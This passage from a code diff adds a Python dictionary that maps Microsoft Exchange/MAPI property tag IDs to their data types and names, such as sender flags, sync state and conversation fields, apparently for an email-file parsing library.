+        0x4019: (0x0003, None, None, 4, None, None, "SenderFlags"),
+        0x401b: (0x0003, None, None, 4, None, None, "ReceivedByFlags"),
+        0x401c: (0x0003, None, None, 4, None, None, "ReceivedRepresentingFlags"),
+        0x401d: (0x0003, None, None, 4, None, None, "OriginalSenderFlags"),
+        0x401e: (0x0003, None, None, 4, None, None, "OriginalSentRepresentingFlags"),
+        0x401f: (0x0003, None, None, 4, None, None, "ReportFlags"),
+        0x4020: (0x0003, None, None, 4, None, None, "ReadReceiptFlags"),
+        0x4021: (0x0102, None, None, 4, None, None, "SoftDeletes"),
+        0x4022: (0x001f, None, None, 4, None, None, "CreatorAddressType"),
+        0x4023: (0x001f, None, None, 4, None, None, "CreatorEmailAddress"),
+        0x4024: (0x001f, None, None, 4, None, None, "LastModifierAddressType"),
+        0x4025: (0x001f, None, None, 4, None, None, "LastModifierEmailAddress"),
+        0x4026: (0x001f, None, None, 4, None, None, "ReportAddressType"),
+        0x4027: (0x001f, None, None, 4, None, None, "ReportEmailAddress"),
+        0x4028: (0x001f, None, None, 4, None, None, "ReportDisplayName"),
+        0x402d: (0x0102, None, None, 4, None, None, "IdsetRead"),
+        0x402e: (0x0102, None, None, 4, None, None, "IdsetUnread"),
+        0x402f: (0x0003, None, None, 4, None, None, "IncrSyncRead"),
+        0x4037: (0x001f, None, None, 4, None, None, "ReportSimpleDisplayName"),
+        0x4038: (0x001f, None, None, 4, None, None, "CreatorSimpleDisplayName"),
+        0x4039: (0x001f, None, None, 4, None, None, "LastModifierSimpleDisplayName"),
+        0x403a: (0x0003, None, None, 4, None, None, "IncrSyncStateBegin"),
+        0x403b: (0x0003, None, None, 4, None, None, "IncrSyncStateEnd"),
+        0x403c: (0x0003, None, None, 4, None, None, "IncrSyncImailStream"),
+        0x403f: (0x001f, None, None, 4, None, None, "SenderOriginalAddressType"),
+        0x4040: (0x001f, None, None, 4, None, None, "SenderOriginalEmailAddress"),
+        0x4041: (0x001f, None, None, 4, None, None, "SentRepresentingOriginalAddressType"),
+        0x4042: (0x001f, None, None, 4, None, None, "SentRepresentingOriginalEmailAddress"),
+        0x4043: (0x001f, None, None, 4, None, None, "OriginalSenderOriginalAddressType"),
+        0x4044: (0x001f, None, None, 4, None, None, "OriginalSenderOriginalEmailAddress"),
+        0x4045: (0x001f, None, None, 4, None, None, "OriginalSentRepresentingOriginalAddressType"),
+        0x4046: (0x001f, None, None, 4, None, None, "OriginalSentRepresentingOriginalEmailAddress"),
+        0x4047: (0x001f, None, None, 4, None, None, "ReceivedByOriginalAddressType"),
+        0x4048: (0x001f, None, None, 4, None, None, "ReceivedByOriginalEmailAddress"),
+        0x4049: (0x001f, None, None, 4, None, None, "ReceivedRepresentingOriginalAddressType"),
+        0x404a: (0x001f, None, None, 4, None, None, "ReceivedRepresentingOriginalEmailAddress"),
+        0x404b: (0x001f, None, None, 4, None, None, "ReadReceiptOriginalAddressType"),
+        0x404c: (0x001f, None, None, 4, None, None, "ReadReceiptOriginalEmailAddress"),
+        0x404d: (0x001f, None, None, 4, None, None, "ReportOriginalAddressType"),
+        0x404e: (0x001f, None, None, 4, None, None, "ReportOriginalEmailAddress"),
+        0x404f: (0x001f, None, None, 4, None, None, "CreatorOriginalAddressType"),
+        0x4050: (0x001f, None, None, 4, None, None, "CreatorOriginalEmailAddress"),
+        0x4051: (0x001f, None, None, 4, None, None, "LastModifierOriginalAddressType"),
+        0x4052: (0x001f, None, None, 4, None, None, "LastModifierOriginalEmailAddress"),
+        0x4053: (0x001f, None, None, 4, None, None, "OriginatorOriginalAddressType"),
+        0x4054: (0x001f, None, None, 4, None, None, "OriginatorOriginalEmailAddress"),
+        0x4055: (0x001f, None, None, 4, None, None, "ReportDestinationOriginalAddressType"),
+        0x4056: (0x001f, None, None, 4, None, None, "ReportDestinationOriginalEmailAddress"),
+        0x4057: (0x001f, None, None, 4, None, None, "OriginalAuthorOriginalAddressType"),
+        0x4058: (0x001f, None, None, 4, None, None, "OriginalAuthorOriginalEmailAddress"),
+        0x4059: (0x0003, None, None, 4, None, None, "CreatorFlags"),
+        0x405a: (0x0003, None, None, 4, None, None, "LastModifierFlags"),
+        0x405b: (0x0003, None, None, 4, None, None, "OriginatorFlags"),
+        0x405c: (0x0003, None, None, 4, None, None, "ReportDestinationFlags"),
+        0x405d: (0x0003, None, None, 4, None, None, "OriginalAuthorFlags"),
+        0x405e: (0x001f, None, None, 4, None, None, "OriginatorSimpleDisplayName"),
+        0x405f: (0x001f, None, None, 4, None, None, "ReportDestinationSimpleDisplayName"),
+        0x4061: (0x0102, None, None, 4, None, None, "OriginatorSearchKey"),
+        0x4062: (0x001f, None, None, 4, None, None, "ReportDestinationAddressType"),
+        0x4063: (0x001f, None, None, 4, None, None, "ReportDestinationEmailAddress"),
+        0x4064: (0x0102, None, None, 4, None, None, "ReportDestinationSearchKey"),
+        0x4066: (0x0003, None, None, 4, None, None, "IncrSyncImailStreamContinue"),
+        0x4067: (0x0003, None, None, 4, None, None, "IncrSyncImailStreamCancel"),
+        0x4071: (0x0003, None, None, 4, None, None, "IncrSyncImailStream2Continue"),
+        0x4074: (0x000b, None, None, 4, None, None, "IncrSyncProgressMode"),
+        0x4075: (0x000b, None, None, 4, None, None, "SyncProgressPerMsg"),
+        0x407a: (0x0003, None, None, 4, None, None, "IncrSyncMsgPartial"),
+        0x407b: (0x0003, None, None, 4, None, None, "IncrSyncGroupInfo"),
+        0x407c: (0x0003, None, None, 4, None, None, "IncrSyncGroupId"),
+        0x407d: (0x0003, None, None, 4, None, None, "IncrSyncChangePartial"),
+        0x4084: (0x0003, None, None, 4, None, None, "ContentFilterPCL"),
+        0x4085: (0x0040, None, None, 4, None, None, "PeopleInsightsLastAccessTime"),
+        0x4086: (0x0040, None, None, 4, None, None, "EmailUsageLastActivityTime"),
+        0x4087: (0x0003, None, None, 4, None, None, "PdpProfileDataMigrationFlags"),
+        0x4088: (0x0102, None, None, 4, None, None, "ControlDataForPdpDataMigrationAssistant"),
+        0x5500: (0x000b, None, None, 4, None, None, "IsInterestingForFileExtraction"),
+        0x5d03: (0x001f, None, None, 4, None, None, "OriginalSenderSMTPAddress"),
+        0x5d04: (0x001f, None, None, 4, None, None, "OriginalSentRepresentingSMTPAddress"),
+        0x5d06: (0x001f, None, None, 4, None, None, "OriginalAuthorSMTPAddress"),
+        0x5d09: (0x0102, None, None, 4, None, None, "MessageUsageData"),
+        0x5d0a: (0x001f, None, None, 4, None, None, "CreatorSMTPAddress"),
+        0x5d0b: (0x001f, None, None, 4, None, None, "LastModifierSMTPAddress"),
+        0x5d0c: (0x001f, None, None, 4, None, None, "ReportSMTPAddress"),
+        0x5d0d: (0x001f, None, None, 4, None, None, "OriginatorSMTPAddress"),
+        0x5d0e: (0x001f, None, None, 4, None, None, "ReportDestinationSMTPAddress"),
+        0x5fe5: (0x001f, None, None, 4, None, None, "RecipientSipUri"),
+        0x6000: (0x0003, None, None, 4, None, None, "RssServerLockStartTime"),
+        0x6001: (0x001f, None, None, 4, None, None, "DotStuffState"),
+        0x6002: (0x001f, None, None, 4, None, None, "RssServerLockClientName"),
+        0x61af: (0x0102, None, None, 4, None, None, "ScheduleData"),
+        0x65ef: (0x0102, None, None, 4, None, None, "RuleMsgActions"),
+        0x65f0: (0x0102, None, None, 4, None, None, "RuleMsgCondition"),
+        0x65f1: (0x0003, None, None, 4, None, None, "RuleMsgConditionLCID"),
+        0x65f4: (0x000b, None, None, 4, None, None, "PreventMsgCreate"),
+        0x65f9: (0x0102, None, None, 4, None, None, "LISSD"),
+        0x65fa: (0x101f, None, None, 4, None, None, "IMAPUnsubscribeList"),
+        0x6607: (0x001f, None, None, 4, None, None, "ProfileUnresolvedName"),
+        0x660d: (0x0003, None, None, 4, None, None, "ProfileMaxRestrict"),
+        0x660e: (0x001f, None, None, 4, None, None, "ProfileABFilesPath"),
+        0x660f: (0x001f, None, None, 4, None, None, "ProfileFavFolderDisplayName"),
+        0x6613: (0x101f, None, None, 4, None, None, "ProfileHomeServerAddrs"),
+        0x662b: (0x0102, None, None, 4, None, None, "TestLineSpeed"),
+        0x6630: (0x0102, None, None, 4, None, None, "LegacyShortcutsFolderEntryId"),
+        0x6635: (0x001f, None, None, 4, None, None, "FavoritesDefaultName"),
+        0x6641: (0x0003, None, None, 4, None, None, "DeletedFolderCount"),
+        0x6643: (0x0003, None, None, 4, None, None, "DeletedAssociatedMessageCount32"),
+        0x6644: (0x001f, None, None, 4, None, None, "ReplicaServer"),
+        0x664c: (0x0102, None, None, 4, None, None, "FidMid"),
+        0x6652: (0x0102, None, None, 4, None, None, "ActiveUserEntryId"),
+        0x6655: (0x0102, None, None, 4, None, None, "ICSChangeKey"),
+        0x6657: (0x0102, None, None, 4, None, None, "SetPropsCondition"),
+        0x6659: (0x0102, None, None, 4, None, None, "InternetContent"),
+        0x665b: (0x001f, None, None, 4, None, None, "OriginatorName"),
+        0x665c: (0x001f, None, None, 4, None, None, "OriginatorEmailAddress"),
+        0x665d: (0x001f, None, None, 4, None, None, "OriginatorAddressType"),
+        0x665e: (0x0102, None, None, 4, None, None, "OriginatorEntryId"),
+        0x6662: (0x0003, None, None, 4, None, None, "RecipientNumber"),
+        0x6664: (0x001f, None, None, 4, None, None, "ReportDestinationName"),
+        0x6665: (0x0102, None, None, 4, None, None, "ReportDestinationEntryId"),
+        0x6692: (0x0003, None, None, 4, None, None, "ReplicationMsgPriority"),
+        0x6697: (0x0003, None, None, 4, None, None, "WorkerProcessId"),
+        0x669a: (0x0003, None, None, 4, None, None, "CurrentDatabaseSchemaVersion"),
+        0x669e: (0x000b, None, None, 4, None, None, "SecureInSite"),
+        0x66a7: (0x0003, None, None, 4, None, None, "MailboxFlags"),
+        0x66ab: (0x0003, None, None, 4, None, None, "MailboxMessagesPerFolderCountWarningQuota"),
+        0x66ac: (0x0003, None, None, 4, None, None, "MailboxMessagesPerFolderCountReceiveQuota"),
+        0x66ad: (0x0003, None, None, 4, None, None, "NormalMessagesWithAttachmentsCount32"),
+        0x66ae: (0x0003, None, None, 4, None, None, "AssociatedMessagesWithAttachmentsCount32"),
+        0x66af: (0x0003, None, None, 4, None, None, "FolderHierarchyChildrenCountWarningQuota"),
+        0x66b0: (0x0003, None, None, 4, None, None, "FolderHierarchyChildrenCountReceiveQuota"),
+        0x66b1: (0x0003, None, None, 4, None, None, "AttachmentsOnNormalMessagesCount32"),
+        0x66b2: (0x0003, None, None, 4, None, None, "AttachmentsOnAssociatedMessagesCount32"),
+        0x66b3: (0x0014, None, None, 4, None, None, "NormalMessageSize64"),
+        0x66e0: (0x001f, None, None, 4, None, None, "ServerDN"),
+        0x66e1: (0x0003, None, None, 4, None, None, "BackfillRanking"),
+        0x66e2: (0x0003, None, None, 4, None, None, "LastTransmissionTime"),
+        0x66e3: (0x0040, None, None, 4, None, None, "StatusSendTime"),
+        0x66e4: (0x0003, None, None, 4, None, None, "BackfillEntryCount"),
+        0x66e5: (0x0040, None, None, 4, None, None, "NextBroadcastTime"),
+        0x66e6: (0x0040, None, None, 4, None, None, "NextBackfillTime"),
+        0x66e7: (0x0102, None, None, 4, None, None, "LastCNBroadcast"),
+        0x66eb: (0x0102, None, None, 4, None, None, "BackfillId"),
+        0x66f4: (0x0102, None, None, 4, None, None, "LastShortCNBroadcast"),
+        0x66fb: (0x0040, None, None, 4, None, None, "AverageTransmissionTime"),
+        0x66fc: (0x0014, None, None, 4, None, None, "ReplicationStatus"),
+        0x66fd: (0x0040, None, None, 4, None, None, "LastDataReceivalTime"),
+        0x670c: (0x1048, None, None, 4, None, None, "AutoReset"),
+        0x6712: (0x0102, None, None, 4, None, None, "ScopeFIDs"),
+        0x671e: (0x000b, None, None, 4, None, None, "PFPlatinumHomeMdb"),
+        0x673f: (0x0102, None, None, 4, None, None, "ReadCnNewExport"),
+        0x6745: (0x0102, None, None, 4, None, None, "LocallyDelivered"),
+        0x6746: (0x0014, None, None, 4, None, None, "MimeSize"),
+        0x6747: (0x0014, None, None, 4, None, None, "FileSize"),
+        0x674b: (0x0014, None, None, 4, None, None, "CategID"),
+        0x674c: (0x0014, None, None, 4, None, None, "ParentCategID"),
+        0x6750: (0x0002, None, None, 4, None, None, "ChangeType"),
+        0x6753: (0x000b, None, None, 4, None, None, "Not822Renderable"),
+        0x6758: (0x0102, None, None, 4, None, None, "LTID"),
+        0x6759: (0x0102, None, None, 4, None, None, "CnExport"),
+        0x675a: (0x0102, None, None, 4, None, None, "PclExport"),
+        0x675b: (0x0102, None, None, 4, None, None, "CnMvExport"),
+        0x675c: (0x0102, None, None, 4, None, None, "MidsetDeletedExport"),
+        0x675d: (0x0003, None, None, 4, None, None, "ArticleNumMic"),
+        0x675e: (0x0003, None, None, 4, None, None, "ArticleNumMost"),
+        0x6760: (0x0003, None, None, 4, None, None, "RulesSync"),
+        0x6762: (0x0102, None, None, 4, None, None, "ReplicaListRC"),
+        0x6763: (0x0102, None, None, 4, None, None, "ReplicaListRBUG"),
+        0x6766: (0x0102, None, None, 4, None, None, "FIDC"),
+        0x676b: (0x001f, None, None, 4, None, None, "MailboxOwnerDN"),
+        0x676d: (0x0102, None, None, 4, None, None, "IMAPCachedBodystructure"),
+        0x676f: (0x001f, None, None, 4, None, None, "AltRecipientDN"),
+        0x6770: (0x000b, None, None, 4, None, None, "NoLocalDelivery"),
+        0x6771: (0x0003, None, None, 4, None, None, "DeliveryContentLength"),
+        0x6772: (0x000b, None, None, 4, None, None, "AutoReply"),
+        0x6773: (0x001f, None, None, 4, None, None, "MailboxOwnerDisplayName"),
+        0x6774: (0x0040, None, None, 4, None, None, "MailboxLastUpdated"),
+        0x6775: (0x001f, None, None, 4, None, None, "AdminSurName"),
+        0x6776: (0x001f, None, None, 4, None, None, "AdminGivenName"),
+        0x6777: (0x0003, None, None, 4, None, None, "ActiveSearchCount"),
+        0x677a: (0x0003, None, None, 4, None, None, "OverQuotaLimit"),
+        0x677c: (0x0003, None, None, 4, None, None, "SubmitContentLength"),
+        0x677d: (0x0003, None, None, 4, None, None, "LogonRightsOnMailbox"),
+        0x677e: (0x0014, None, None, 4, None, None, "ReservedIdCounterRangeUpperLimit"),
+        0x677f: (0x0014, None, None, 4, None, None, "ReservedCnCounterRangeUpperLimit"),
+        0x6780: (0x0003, None, None, 4, None, None, "SetReceiveCount"),
+        0x6781: (0x000b, None, None, 4, None, None, "BigFunnelIsEnabled"),
+        0x6782: (0x0003, None, None, 4, None, None, "SubmittedCount"),
+        0x6783: (0x0102, None, None, 4, None, None, "CreatorToken"),
+        0x6785: (0x0102, None, None, 4, None, None, "SearchFIDs"),
+        0x6786: (0x0102, None, None, 4, None, None, "RecursiveSearchFIDs"),
+        0x678a: (0x0102, None, None, 4, None, None, "CategFIDs"),
+        0x6791: (0x0014, None, None, 4, None, None, "MidSegmentStart"),
+        0x6792: (0x0102, None, None, 4, None, None, "MidsetDeleted"),
+        0x6793: (0x0102, None, None, 4, None, None, "MidsetExpired"),
+        0x6794: (0x0102, None, None, 4, None, None, "CnsetIn"),
+        0x6796: (0x0102, None, None, 4, None, None, "CnsetBackfill"),
+        0x6798: (0x0102, None, None, 4, None, None, "MidsetTombstones"),
+        0x679a: (0x000b, None, None, 4, None, None, "GWFolder"),
+        0x679b: (0x000b, None, None, 4, None, None, "IPMFolder"),
+        0x679c: (0x001f, None, None, 4, None, None, "PublicFolderPath"),
+        0x679f: (0x0002, None, None, 4, None, None, "MidSegmentIndex"),
+        0x67a0: (0x0002, None, None, 4, None, None, "MidSegmentSize"),
+        0x67a1: (0x0002, None, None, 4, None, None, "CnSegmentStart"),
+        0x67a2: (0x0002, None, None, 4, None, None, "CnSegmentIndex"),
+        0x67a3: (0x0002, None, None, 4, None, None, "CnSegmentSize"),
+        0x67a5: (0x0102, None, None, 4, None, None, "PCL"),
+        0x67a6: (0x1014, None, None, 4, None, None, "CnMv"),
+        0x67a7: (0x0014, None, None, 4, None, None, "FolderTreeRootFID"),
+        0x67a8: (0x0102, None, None, 4, None, None, "SourceEntryId"),
+        0x67a9: (0x0002, None, None, 4, None, None, "MailFlags"),
+        0x67ab: (0x0003, None, None, 4, None, None, "SubmitResponsibility"),
+        0x67ad: (0x000b, None, None, 4, None, None, "SharedReceiptHandling"),
+        0x67b3: (0x0102, None, None, 4, None, None, "MessageAttachmentList"),
+        0x67b5: (0x0102, None, None, 4, None, None, "SenderCAI"),
+        0x67b6: (0x0102, None, None, 4, None, None, "SentRepresentingCAI"),
+        0x67b7: (0x0102, None, None, 4, None, None, "OriginalSenderCAI"),
+        0x67b8: (0x0102, None, None, 4, None, None, "OriginalSentRepresentingCAI"),
+        0x67b9: (0x0102, None, None, 4, None, None, "ReceivedByCAI"),
+        0x67ba: (0x0102, None, None, 4, None, None, "ReceivedRepresentingCAI"),
+        0x67bb: (0x0102, None, None, 4, None, None, "ReadReceiptCAI"),
+        0x67bc: (0x0102, None, None, 4, None, None, "ReportCAI"),
+        0x67bd: (0x0102, None, None, 4, None, None, "CreatorCAI"),
+        0x67be: (0x0102, None, None, 4, None, None, "LastModifierCAI"),
+        0x67c4: (0x0002, None, None, 4, None, None, "AnonymousRights"),
+        0x67ce: (0x0102, None, None, 4, None, None, "SearchGUID"),
+        0x67d2: (0x0102, None, None, 4, None, None, "CnsetRead"),
+        0x67da: (0x0102, None, None, 4, None, None, "CnsetBackfillFAI"),
+        0x67de: (0x0003, None, None, 4, None, None, "ReplMsgVersion"),
+        0x67e5: (0x0102, None, None, 4, None, None, "IdSetDeleted"),
+        0x67e6: (0x0102, None, None, 4, None, None, "FolderMessages"),
+        0x67e7: (0x0102, None, None, 4, None, None, "SenderReplid"),
+        0x67e8: (0x0014, None, None, 4, None, None, "CnMin"),
+        0x67e9: (0x0014, None, None, 4, None, None, "CnMax"),
+        0x67ea: (0x0003, None, None, 4, None, None, "ReplMsgType"),
+        0x67eb: (0x0102, None, None, 4, None, None, "RgszDNResponders"),
+        0x67f2: (0x1003, None, None, 4, None, None, "ViewCoveringPropertyTags"),
+        0x67f4: (0x000b, None, None, 4, None, None, "ICSViewFilter"),
+        0x67f8: (0x0102, None, None, 4, None, None, "OriginatorCAI"),
+        0x67f9: (0x0102, None, None, 4, None, None, "ReportDestinationCAI"),
+        0x67fa: (0x0102, None, None, 4, None, None, "OriginalAuthorCAI"),
+        0x6807: (0x0014, None, None, 4, None, None, "EventCounter"),
+        0x6809: (0x0102, None, None, 4, None, None, "EventFid"),
+        0x680a: (0x0102, None, None, 4, None, None, "EventMid"),
+        0x680b: (0x0102, None, None, 4, None, None, "EventFidParent"),
+        0x680c: (0x0102, None, None, 4, None, None, "EventFidOld"),
+        0x680e: (0x0102, None, None, 4, None, None, "EventFidOldParent"),
+        0x680f: (0x0040, None, None, 4, None, None, "EventCreatedTime"),
+        0x6811: (0x0003, None, None, 4, None, None, "EventItemCount"),
+        0x6812: (0x0102, None, None, 4, None, None, "EventFidRoot"),
+        0x6818: (0x0014, None, None, 4, None, None, "EventExtendedFlags"),
+        0x681c: (0x0102, None, None, 4, None, None, "EventImmutableid"),
+        0x681d: (0x0040, None, None, 4, None, None, "MailboxQuarantineEnd"),
+        0x681e: (0x0003, None, None, 4, None, None, "EventOldParentDefaultFolderType"),
+        0x681f: (0x0003, None, None, 4, None, None, "MailboxNumber"),
+        0x6821: (0x0003, None, None, 4, None, None, "InferenceClientId"),
+        0x6822: (0x0102, None, None, 4, None, None, "InferenceItemId"),
+        0x6823: (0x0040, None, None, 4, None, None, "InferenceCreateTime"),
+        0x6824: (0x0048, None, None, 4, None, None, "InferenceWindowId"),
+        0x6825: (0x0048, None, None, 4, None, None, "InferenceSessionId"),
+        0x6826: (0x0102, None, None, 4, None, None, "InferenceFolderId"),
+        0x682e: (0x001f, None, None, 4, None, None, "InferenceTimeZone"),
+        0x682f: (0x001f, None, None, 4, None, None, "InferenceCategory"),
+        0x6832: (0x0003, None, None, 4, None, None, "InferenceModuleSelected"),
+        0x6833: (0x001f, None, None, 4, None, None, "InferenceLayoutType"),
+        0x6835: (0x0040, None, None, 4, None, None, "InferenceTimeStamp"),
+        0x6836: (0x000b, None, None, 4, None, None, "InferenceOLKUserActivityLoggingEnabled"),
+        0x6837: (0x001f, None, None, 4, None, None, "InferenceClientVersion"),
+        0x6838: (0x000b, None, None, 4, None, None, "InferenceSSISource"),
+        0x6839: (0x0003, None, None, 4, None, None, "ActivityWorkload"),
+        0x683b: (0x0003, None, None, 4, None, None, "ActivityItemType"),
+        0x683c: (0x0048, None, None, 4, None, None, "ActivityContainerMailbox"),
+        0x683d: (0x001f, None, None, 4, None, None, "ActivityContainerId"),
+        0x683e: (0x001f, None, None, 4, None, None, "ActivityNonExoItemId"),
+        0x683f: (0x0048, None, None, 4, None, None, "ActivityClientInstanceId"),
+        0x6840: (0x0102, None, None, 4, None, None, "ActivityImmutableItemId"),
+        0x6857: (0x000b, None, None, 4, None, None, "AgingAgeFolder"),
+        0x6858: (0x000b, None, None, 4, None, None, "AgingDontAgeMe"),
+        0x6859: (0x001f, None, None, 4, None, None, "AgingFileNameAfter9"),
+        0x685b: (0x000b, None, None, 4, None, None, "AgingWhenDeletedOnServer"),
+        0x685c: (0x000b, None, None, 4, None, None, "AgingWaitUntilExpired"),
+        0x685f: (0x0102, None, None, 4, None, None, "ActivityImmutableEntryId"),
+        0x6870: (0x1102, None, None, 4, None, None, "DelegateEntryIds2"),
+        0x6871: (0x1003, None, None, 4, None, None, "DelegateFlags2"),
+        0x6873: (0x0102, None, None, 4, None, None, "InferenceTrainedModelVersionBreadCrumb"),
+        0x6874: (0x001f, None, None, 4, None, None, "FolderPathFullName"),
+        0x6875: (0x0102, None, None, 4, None, None, "ImmutableIdExport"),
+        0x6876: (0x0102, None, None, 4, None, None, "ControlDataForTrendingAroundMeAssistant"),
+        0x6877: (0x101f, None, None, 4, None, None, "RestrictionAnnotationWordBreakingTokens"),
+        0x6878: (0x1003, None, None, 4, None, None, "RestrictionAnnotationWordBreakingTokenLengths"),
+        0x6879: (0x0102, None, None, 4, None, None, "ControlDataForCalendarInsightsAssistant"),
+        0x687a: (0x0102, None, None, 4, None, None, "ControlDataForFreeBusyPublishingTimeBasedAssistant"),
+        0x687b: (0x0003, None, None, 4, None, None, "RestrictionAnnotationIndexPropertyTag"),
+        0x687c: (0x000b, None, None, 4, None, None, "IsAbandonedMoveDestination"),
+        0x687d: (0x0102, None, None, 4, None, None, "ImmutableId26Bytes"),
+        0x687e: (0x0102, None, None, 4, None, None, "ImmutableIdSetIn"),
+        0x687f: (0x0102, None, None, 4, None, None, "SearchFolderLargeRestriction"),
+        0x689f: (0x0040, None, None, 4, None, None, "ConversationMsgSentTime"),
+        0x68a4: (0x001f, None, None, 4, None, None, "PersonCompanyNameMailboxWide"),
+        0x68a5: (0x001f, None, None, 4, None, None, "PersonDisplayNameMailboxWide"),
+        0x68a6: (0x001f, None, None, 4, None, None, "PersonGivenNameMailboxWide"),
+        0x68a7: (0x001f, None, None, 4, None, None, "PersonSurnameMailboxWide"),
+        0x68a8: (0x0102, None, None, 4, None, None, "PersonPhotoContactEntryIdMailboxWide"),
+        0x68b0: (0x001f, None, None, 4, None, None, "PersonFileAsMailboxWide"),
+        0x68b1: (0x0003, None, None, 4, None, None, "PersonRelevanceScoreMailboxWide"),
+        0x68b2: (0x000b, None, None, 4, None, None, "PersonIsDistributionListMailboxWide"),
+        0x68b3: (0x001f, None, None, 4, None, None, "PersonHomeCityMailboxWide"),
+        0x68b4: (0x0040, None, None, 4, None, None, "PersonCreationTimeMailboxWide"),
+        0x68b7: (0x0048, None, None, 4, None, None, "PersonGALLinkIDMailboxWide"),
+        0x68ba: (0x101f, None, None, 4, None, None, "PersonMvEmailAddressMailboxWide"),
+        0x68bb: (0x101f, None, None, 4, None, None, "PersonMvEmailDisplayNameMailboxWide"),
+        0x68bc: (0x101f, None, None, 4, None, None, "PersonMvEmailRoutingTypeMailboxWide"),
+        0x68bd: (0x001f, None, None, 4, None, None, "PersonImAddressMailboxWide"),
+        0x68be: (0x001f, None, None, 4, None, None, "PersonWorkCityMailboxWide"),
+        0x68bf: (0x001f, None, None, 4, None, None, "PersonDisplayNameFirstLastMailboxWide"),
+        0x68c0: (0x001f, None, None, 4, None, None, "PersonDisplayNameLastFirstMailboxWide"),
+        0x68c2: (0x000b, None, None, 4, None, None, "ConversationHasClutter"),
+        0x68c3: (0x000b, None, None, 4, None, None, "ConversationHasClutterMailboxWide"),
+        0x68c4: (0x0102, None, None, 4, None, None, "ExchangeObjectId"),
+        0x68c5: (0x0102, None, None, 4, None, None, "ViewLargeRestriction"),
+        0x68c6: (0x0003, None, None, 4, None, None, "ClientDiagnosticLevel"),
+        0x68c7: (0x0102, None, None, 4, None, None, "ClientDiagnosticData"),
+        0x6900: (0x0003, None, None, 4, None, None, "ConversationLastMemberDocumentId"),
+        0x6901: (0x001f, None, None, 4, None, None, "ConversationPreview"),
+        0x6902: (0x0003, None, None, 4, None, None, "ConversationLastMemberDocumentIdMailboxWide"),
+        0x6903: (0x0003, None, None, 4, None, None, "ConversationInitialMemberDocumentId"),
+        0x6904: (0x1003, None, None, 4, None, None, "ConversationMemberDocumentIds"),
+        0x6905: (0x0040, None, None, 4, None, None, "ConversationMessageDeliveryOrRenewTimeMailboxWide"),
+        0x6907: (0x1002, None, None, 4, None, None, "ConversationMessageRichContentMailboxWide"),
+        0x6908: (0x001f, None, None, 4, None, None, "ConversationPreviewMailboxWide"),
+        0x6909: (0x0040, None, None, 4, None, None, "ConversationMessageDeliveryOrRenewTime"),
+        0x690a: (0x001f, None, None, 4, None, None, "ConversationWorkingSetSourcePartition"),
+        0x690b: (0x1003, None, None, 4, None, None, "ConversationSystemCategories"),
+        0x690c: (0x1003, None, None, 4, None, None, "ConversationSystemCategoriesMailboxWide"),
+        0x690d: (0x0003, None, None, 4, None, None, "ConversationExchangeApplicationFlagsMailboxWide"),
+        0x690e: (0x101f, None, None, 4, None, None, "ConversationMvMentionsMailboxWide"),
+        0x690f: (0x101f, None, None, 4, None, None, "ConversationMvMentions"),
+        0x6910: (0x1102, None, None, 4, None, None, "ConversationMvThreadIds"),
+        0x6911: (0x1102, None, None, 4, None, None, "ConversationMvThreadIdsMailboxWide"),
+        0x6912: (0x0003, None, None, 4, None, None, "ConversationLikeCountMailboxWide"),
+        0x6913: (0x0040, None, None, 4, None, None, "ConversationReturnTime"),
+        0x6914: (0x0040, None, None, 4, None, None, "ConversationReturnTimeMailboxWide"),
+        0x6915: (0x0003, None, None, 4, None, None, "UserActivityPayloadVersion"),
+        0x6916: (0x000b, None, None, 4, None, None, "ConversationAtAllMention"),
+        0x6917: (0x000b, None, None, 4, None, None, "ConversationAtAllMentionMailboxWide"),
+        0x6918: (0x0003, None, None, 4, None, None, "ConversationInferenceClassification"),
+        0x6919: (0x0003, None, None, 4, None, None, "ConversationCharm"),
+        0x691a: (0x0003, None, None, 4, None, None, "ConversationCharmMailboxWide"),
+        0x691b: (0x0003, None, None, 4, None, None, "SignalTypeId"),
+        0x691c: (0x0048, None, None, 4, None, None, "SignalAppId"),
+        0x691d: (0x001f, None, None, 4, None, None, "SignalActorId"),
+        0x691e: (0x001f, None, None, 4, None, None, "SignalClientVersion"),
+        0x691f: (0x0048, None, None, 4, None, None, "SignalAadTenantId"),
+        0x6920: (0x0003, None, None, 4, None, None, "SignalActorIdType"),
+        0x6921: (0x0003, None, None, 4, None, None, "SignalOS"),
+        0x6922: (0x001f, None, None, 4, None, None, "SignalOSVersion"),
+        0x6923: (0x0005, None, None, 4, None, None, "SignalLatitude"),
+        0x6924: (0x001f, None, None, 4, None, None, "SignalCv"),
+        0x6925: (0x001f, None, None, 4, None, None, "SignalClientIp"),
+        0x6926: (0x001f, None, None, 4, None, None, "SignalUserAgent"),
+        0x6927: (0x001f, None, None, 4, None, None, "SignalDeviceId"),
+        0x6928: (0x001f, None, None, 4, None, None, "SignalSchemaVersion"),
+        0x6929: (0x0003, None, None, 4, None, None, "SignalAppWorkload"),
+        0x692a: (0x0003, None, None, 4, None, None, "SignalCompliance"),
+        0x692b: (0x0003, None, None, 4, None, None, "SignalItemType"),
+        0x692c: (0x001f, None, None, 4, None, None, "SignalContainerId"),
+        0x692d: (0x001f, None, None, 4, None, None, "SignalContainerType"),
+        0x692e: (0x0005, None, None, 4, None, None, "SignalLongitude"),
+        0x6930: (0x0003, None, None, 4, None, None, "SignalLocationType"),
+        0x6931: (0x0005, None, None, 4, None, None, "SignalPrecision"),
+        0x6932: (0x0003, None, None, 4, None, None, "SignalLocaleId"),
+        0x6933: (0x001f, None, None, 4, None, None, "SignalTargetItemId"),
+        0x6935: (0x0040, None, None, 4, None, None, "SignalTimeStamp"),
+        0x6938: (0x000b, None, None, 4, None, None, "SignalIsClient"),
+        0x693a: (0x001f, None, None, 4, None, None, "ConversationSenderName"),
+        0x693b: (0x001f, None, None, 4, None, None, "ConversationSenderNameMailboxWide"),
+        0x693c: (0x001f, None, None, 4, None, None, "ConversationSenderSmtpAddress"),
+        0x693d: (0x001f, None, None, 4, None, None, "ConversationSenderSmtpAddressMailboxWide"),
+        0x693e: (0x0102, None, None, 4, None, None, "ConversationMemberCnSet"),
+        0x693f: (0x0102, None, None, 4, None, None, "ConversationMemberCnSetMailboxWide"),
+        0x6940: (0x0102, None, None, 4, None, None, "ConversationMemberImmutableIdSet"),
+        0x6941: (0x0102, None, None, 4, None, None, "ConversationMemberImmutableIdSetMailboxWide"),
+        0x6942: (0x0040, None, None, 4, None, None, "ConversationLastAttachmentsProcessedTime"),
+        0x6943: (0x0040, None, None, 4, None, None, "ConversationLastAttachmentsProcessedTimeMailboxWide"),
+        0x694a: (0x001f, None, None, 4, None, None, "SignalAppName"),
